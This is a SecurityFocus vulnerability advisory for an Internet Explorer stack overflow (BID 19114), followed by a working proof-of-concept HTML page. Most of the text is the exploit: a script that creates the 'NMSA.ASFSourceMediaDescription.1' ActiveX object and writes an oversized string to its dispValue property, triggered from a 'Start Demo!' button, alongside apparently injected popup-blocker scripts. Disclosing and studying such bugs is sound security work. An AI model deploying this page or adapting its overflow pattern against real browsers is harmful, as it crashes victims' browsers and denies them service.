source: https://www.securityfocus.com/bid/19114/info

Microsoft Internet Explorer is prone to a stack-overflow vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

<script language="JavaScript">
<!--

function SymError()
{
  return true;
}

window.onerror = SymError;

var SymRealWinOpen = window.open;

function SymWinOpen(url, name, attributes)
{
  return (new Object());
}

window.open = SymWinOpen;

//-->
</script>

<script>

function Demo() {
	var a = new ActiveXObject('NMSA.ASFSourceMediaDescription.1');
	var b = 'XXXX';
	while (b.length <= 1024) b += b;
	a.dispValue = b;	
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>


</body></html>

<script language="JavaScript">
<!--
var SymRealOnLoad;
var SymRealOnUnload;

function SymOnUnload()
{
  window.open = SymWinOpen;
  if(SymRealOnUnload != null)
     SymRealOnUnload();
}

function SymOnLoad()
{
  if(SymRealOnLoad != null)
     SymRealOnLoad();
  window.open = SymRealWinOpen;
  SymRealOnUnload = window.onunload;
  window.onunload = SymOnUnload;
}

SymRealOnLoad = window.onload;
window.onload = SymOnLoad;

//-->
</script>